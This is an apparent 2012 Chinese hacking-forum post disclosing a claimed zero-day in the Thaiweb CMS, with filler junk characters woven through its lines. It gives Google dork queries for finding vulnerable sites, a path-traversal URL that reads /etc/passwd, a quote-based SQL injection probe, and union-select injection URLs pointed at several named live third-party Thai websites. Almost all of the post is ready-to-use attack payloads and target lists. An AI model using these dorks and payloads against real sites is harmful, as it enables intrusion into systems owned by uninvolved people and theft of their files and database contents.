找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2076|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
) @7 F3 P+ x0 w. y6 {/ A* ^: @5 F! e/ S( `7 {0 {- b# ~
intext:powered by Thaiweb& K9 l) j2 Q7 ?

' z  V/ j2 W; Z8 t1 N, N0 F8 Uinurl:index.php?page=board.php
3 y7 q7 |) Y8 H6 H0 C8 g' Z3 ]9 O7 h2 r, ~: t- c

: x/ @3 u, `5 j- n& m
2 ^+ p6 w. t" B- t& y% ^利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd  o' t0 s8 ~6 C* c9 a$ n

/ ^* e" X8 q/ Y
0 q% c2 x- Y' o! C  \5 u, X! i
# z% G% v7 ?1 U# u利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'6 o, P; O( E/ v/ n" P

* }! E) y, |/ {/ j $ X  l# v* x- P1 F
/ U* A4 E) e2 x  ?7 j
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--8 p( `; O- O' K4 c& Q0 D
9 N8 v5 F" V" T+ f- M: h' U
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--6 \% t$ \4 s. O  H9 ~5 H7 t

6 M3 h% T' i! [" }. f/ whttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--. N: g+ B0 \' I8 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表